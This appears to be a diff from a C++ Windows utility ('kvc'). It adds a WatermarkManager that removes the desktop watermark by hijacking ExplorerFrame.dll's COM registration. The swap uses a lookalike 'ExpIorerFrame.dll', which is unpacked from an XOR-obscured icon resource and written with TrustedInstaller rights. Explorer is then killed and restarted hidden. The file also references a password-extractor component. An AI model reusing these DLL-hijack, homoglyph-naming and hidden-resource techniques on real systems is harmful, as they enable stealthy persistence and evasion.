bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept
{
std::vector<BYTE> kvcSysData;
if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false;
}
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size());
return !outDllData.empty();
}
// Restart Explorer process
bool WatermarkManager::RestartExplorer() noexcept
{
INFO(L"[WATERMARK] Restarting Explorer...");
// Find all explorer.exe processes
std::vector<DWORD> explorerPids;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe;
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) {
explorerPids.push_back(pe.th32ProcessID);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
}
// Terminate all Explorer instances
std::vector<HANDLE> processHandles;
for (DWORD pid : explorerPids) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess) {
TerminateProcess(hProcess, 0);
processHandles.push_back(hProcess);
}
}
// Wait for termination
if (!processHandles.empty()) {
WaitForMultipleObjects(
static_cast<DWORD>(processHandles.size()),
processHandles.data(),
TRUE,
5000
);
for (HANDLE h : processHandles) {
CloseHandle(h);
}
}
// Start new Explorer instance
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.fMask = SEE_MASK_FLAG_NO_UI;
sei.lpFile = L"explorer.exe";
sei.lpParameters = L"/e,"; // ← Prevents opening folder window
sei.nShow = SW_HIDE; // ← ! Hide the window
if (!ShellExecuteExW(&sei)) {
ERROR(L"[WATERMARK] Failed to restart Explorer");
return false;
}
Sleep(1000); // Give Explorer time to start
return true;
}
// Get System32 path
std::wstring WatermarkManager::GetSystem32Path() noexcept
{
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
return L"";
}
return std::wstring(systemDir);
}
// Read registry value
std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
const std::wstring& valueName) noexcept
{
HKEY hOpenKey;
if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) {
return L"";
}
wchar_t value[1024];
DWORD dataSize = sizeof(value);
DWORD type;
if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(),
NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) {
RegCloseKey(hOpenKey);
if (type == REG_SZ || type == REG_EXPAND_SZ) {
return std::wstring(value);
}
}
RegCloseKey(hOpenKey);
return L"";
}

46
kvc/WatermarkManager.h Normal file
View File

@@ -0,0 +1,46 @@
// WatermarkManager.h
// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking
#pragma once
#include "common.h"
#include "TrustedInstallerIntegrator.h"
#include <windows.h>
#include <vector>
#include <string>
class WatermarkManager
{
public:
explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller);
// Main operations
bool RemoveWatermark() noexcept;
bool RestoreWatermark() noexcept;
std::wstring GetWatermarkStatus() noexcept;
bool IsWatermarkRemoved() noexcept;
private:
// Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE
bool ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept;
// System operations
bool RestartExplorer() noexcept;
std::wstring GetSystem32Path() noexcept;
std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
const std::wstring& valueName) noexcept;
TrustedInstallerIntegrator& m_trustedInstaller;
// Registry paths
static constexpr const wchar_t* CLSID_KEY =
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
static constexpr const wchar_t* HIJACKED_DLL =
L"%SystemRoot%\\system32\\ExpIorerFrame.dll";
static constexpr const wchar_t* ORIGINAL_DLL =
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
// Resource constants
static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource
static constexpr int RESOURCE_ID = 102; // New resource for watermark
};

View File

@@ -4,7 +4,8 @@
// KVC Main Application Resources (100-199)
#define IDI_ICON1 101
#define IDR_MAINICON 102 // Icon data containing embedded driver
#define IDR_MAINICON 102 // Icon data containing embedded resources
// PassExtractor/kvc_pass Resources (200-299)
#define IDI_PASSEXTRACTOR_ICON 201